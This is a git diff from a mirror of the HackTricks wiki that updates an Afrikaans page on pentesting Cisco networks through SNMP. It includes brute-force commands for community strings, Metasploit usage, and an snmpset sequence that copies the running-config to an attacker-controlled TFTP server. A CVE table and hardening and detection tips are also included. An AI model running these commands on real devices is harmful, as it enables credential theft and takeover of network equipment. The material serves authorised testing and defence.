mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-snmp/cisco-snmp.
This commit is contained in:
parent
5ac6e3c004
commit
5978cc6de0
@ -4,34 +4,92 @@
|
|||||||
|
|
||||||
## Pentesting Cisco Networks
|
## Pentesting Cisco Networks
|
||||||
|
|
||||||
**SNMP** funksioneer oor UDP met poorte 161/UDP vir algemene boodskappe en 162/UDP vir valboodskappe. Hierdie protokol staat op gemeenskaplike stringe, wat as wagwoorde dien wat kommunikasie tussen SNMP-agente en bedieners moontlik maak. Hierdie stringe is van kardinale belang omdat hulle toegangsvlakke bepaal, spesifiek **slegs-lees (RO) of lees-skryf (RW) toestemmings**. 'n Noemenswaardige aanvalsvlak vir pentesters is die **brute-forcing van gemeenskaplike stringe**, met die doel om netwerktoestelle te infiltreer.
|
**SNMP** funksioneer oor UDP met poorte **161/UDP** vir algemene boodskappe en **162/UDP** vir valboodskappe. Hierdie protokol staat op *gemeenskapsstringe*, wat as platte teks "wagwoorde" dien wat kommunikasie tussen SNMP-agente en bestuurders moontlik maak. Hierdie stringe bepaal die toegangsvlak, spesifiek **slegs lees (RO) of lees-skryf (RW) regte**.
|
||||||
|
|
||||||
'n Praktiese hulpmiddel om sulke brute-force-aanvalle uit te voer, is [**onesixtyone**](https://github.com/trailofbits/onesixtyone), wat 'n lys van potensiële gemeenskaplike stringe en die IP-adresse van die teikens vereis:
|
'n Klassieke—maar steeds uiters effektiewe—aanvalsvlak is om **gemeenskapsstringe te brute-force** om van 'n nie-geverifieerde gebruiker na toesteladministrateur (RW-gemeenskap) te verhoog. 'n Praktiese hulpmiddel vir hierdie taak is [**onesixtyone**](https://github.com/trailofbits/onesixtyone):
|
||||||
```bash
|
```bash
|
||||||
onesixtyone -c communitystrings -i targets
|
onesixtyone -c community_strings.txt -i targets.txt
|
||||||
```
|
```
|
||||||
#### `cisco_config_tftp`
|
Ander vinnige opsies is die Nmap NSE-skrip `snmp-brute` of Hydra se SNMP-modules:
|
||||||
|
|
||||||
Die Metasploit-raamwerk bevat die `cisco_config_tftp` module, wat die onttrekking van toestelkonfigurasies vergemaklik, afhangende van die verkryging van 'n RW gemeenskapsstring. Essensiële parameters vir hierdie operasie sluit in:
|
|
||||||
|
|
||||||
- RW gemeenskapsstring (**COMMUNITY**)
|
|
||||||
- Aanvaller se IP (**LHOST**)
|
|
||||||
- Teiken toestel se IP (**RHOSTS**)
|
|
||||||
- Bestemmingspad vir die konfigurasie lêers (**OUTPUTDIR**)
|
|
||||||
|
|
||||||
Na konfigurasie stel hierdie module die aflaai van toestelinstellings direk na 'n gespesifiseerde gids in staat.
|
|
||||||
|
|
||||||
#### `snmp_enum`
|
|
||||||
|
|
||||||
Nog 'n Metasploit-module, **`snmp_enum`**, spesialiseer in die insameling van gedetailleerde hardeware-inligting. Dit werk met enige tipe gemeenskapsstring en vereis die teiken se IP-adres vir suksesvolle uitvoering:
|
|
||||||
```bash
|
```bash
|
||||||
msf6 auxiliary(scanner/snmp/snmp_enum) > set COMMUNITY public
|
nmap -sU -p161 --script snmp-brute --script-args brute.community=wordlist 10.0.0.0/24
|
||||||
msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.100.10
|
hydra -P wordlist.txt -s 161 10.10.10.1 snmp
|
||||||
msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
|
|
||||||
```
|
```
|
||||||
|
---
|
||||||
|
|
||||||
|
### Dumping configuration through SNMP (CISCO-CONFIG-COPY-MIB)
|
||||||
|
As jy 'n **RW community** verkry, kan jy die running-config/startup-config na 'n TFTP/FTP bediener kopieer *sonder CLI toegang* deur die CISCO-CONFIG-COPY-MIB (`1.3.6.1.4.1.9.9.96`) te misbruik. Twee algemene benaderings is:
|
||||||
|
|
||||||
|
1. **Nmap NSE – `snmp-ios-config`**
|
||||||
|
```bash
|
||||||
|
nmap -sU -p161 --script snmp-ios-config \
|
||||||
|
--script-args creds.snmp=private 192.168.66.1
|
||||||
|
```
|
||||||
|
Die skripte orkestreer outomaties die kopieeroperasie en druk die konfigurasie na stdout.
|
||||||
|
|
||||||
|
2. **Handmatige `snmpset` volgorde**
|
||||||
|
```bash
|
||||||
|
# Copy running-config (4) to a TFTP server (1) – random row id 1234
|
||||||
|
snmpset -v2c -c private 192.168.66.1 \
|
||||||
|
1.3.6.1.4.1.9.9.96.1.1.1.1.2.1234 i 1 \ # protocol = tftp
|
||||||
|
1.3.6.1.4.1.9.9.96.1.1.1.1.3.1234 i 4 \ # sourceFileType = runningConfig
|
||||||
|
1.3.6.1.4.1.9.9.96.1.1.1.1.4.1234 i 1 \ # destFileType = networkFile
|
||||||
|
1.3.6.1.4.1.9.9.96.1.1.1.1.5.1234 a 10.10.14.8 \ # TFTP server IP
|
||||||
|
1.3.6.1.4.1.9.9.96.1.1.1.1.6.1234 s \"backup.cfg\" \\
|
||||||
|
1.3.6.1.4.1.9.9.96.1.1.1.1.14.1234 i 4 # rowStatus = createAndGo
|
||||||
|
```
|
||||||
|
Row identifiers is *one-shot*; hergebruik binne vyf minute aktiveer `inconsistentValue` foute.
|
||||||
|
|
||||||
|
Sodra die lêer op jou TFTP-bediener is, kan jy akrediteer ( `enable secret`, `username <user> secret`, ens.) of selfs 'n gewysigde konfigurasie terug na die toestel druk.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Metasploit goedere
|
||||||
|
|
||||||
|
* **`cisco_config_tftp`** – laai running-config/startup-config af via TFTP nadat dieselfde MIB misbruik is.
|
||||||
|
* **`snmp_enum`** – versamel toestel inventaris inligting, VLANs, interface beskrywings, ARP tabelle, ens.
|
||||||
|
```bash
|
||||||
|
use auxiliary/scanner/snmp/snmp_enum
|
||||||
|
set RHOSTS 10.10.100.10
|
||||||
|
set COMMUNITY public
|
||||||
|
run
|
||||||
|
```
|
||||||
|
---
|
||||||
|
|
||||||
|
## Onlangse Cisco SNMP kwesbaarhede (2023 – 2025)
|
||||||
|
Om verskaffer advies te volg is nuttig om *zero-day-to-n-day* geleenthede binne 'n betrokkenheid te bepaal:
|
||||||
|
|
||||||
|
| Jaar | CVE | Aangetaste kenmerk | Impak |
|
||||||
|
|------|-----|-------------------|-------|
|
||||||
|
| 2025 | CVE-2025-20174 | SNMP subsisteem | Gemaakte pakket lei tot geverifieerde *DoS* (herlaai) op IOS/IOS-XE (v1/v2c/v3). |
|
||||||
|
| 2024 | CVE-2024-20373 | IPv4 ACL hantering | Foutief geconfigureerde **uitgebreide** ACLs misluk stil, wat ongeverifieerde SNMP polling toelaat wanneer 'n geldige gemeenskap/gebruiker bekend is. |
|
||||||
|
| 2025 | (geen CVE nog) | SNMPv3 konfigurasie beperking omseiling | Geldige v3 gebruiker kan poll vanaf adresse wat verban moet word. |
|
||||||
|
|
||||||
|
Eksploiteerbaarheid hang dikwels steeds af van die besit van die gemeenskap string of v3 akrediteerings—nog 'n rede waarom brute-forcing daarvan relevant bly.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Versterking & Opsporing wenke
|
||||||
|
|
||||||
|
* Opgradeer na 'n reggemaakte IOS/IOS-XE weergawe (sien Cisco advies vir die bogenoemde CVE).
|
||||||
|
* Verkies **SNMPv3** met `authPriv` (SHA-256/AES-256) bo v1/v2c.
|
||||||
|
```
|
||||||
|
snmp-server group SECURE v3 priv
|
||||||
|
snmp-server user monitor SECURE v3 auth sha <authpass> priv aes 256 <privpass>
|
||||||
|
```
|
||||||
|
* Bind SNMP aan 'n bestuur VRF en **beperk met *standaard* genummerde IPv4 ACLs** (uitgebreide naam ACLs is riskant – CVE-2024-20373).
|
||||||
|
* Deaktiveer **RW gemeenskappe**; indien operasioneel benodig, beperk hulle met ACL en uitsigte:
|
||||||
|
`snmp-server community <string> RW 99 view SysView`
|
||||||
|
* Monitor vir:
|
||||||
|
- UDP/161 pieke of onverwagte bronne (SIEM reëls).
|
||||||
|
- `CISCO-CONFIG-MAN-MIB::ccmHistoryEventConfigSource` gebeurtenisse wat uit-band konfigurasie veranderinge aandui.
|
||||||
|
* Aktiveer **SNMPv3 logging** en `snmp-server packetsize 1500` om sekere DoS vektore te verminder.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
## Verwysings
|
## Verwysings
|
||||||
|
|
||||||
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
- Cisco: *Hoe om Konfigurasies na en van Cisco Toestelle te Kopieer met SNMP*
|
||||||
|
- Cisco Veiligheidsadvies *cisco-sa-snmp-uwBXfqww* (CVE-2024-20373)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user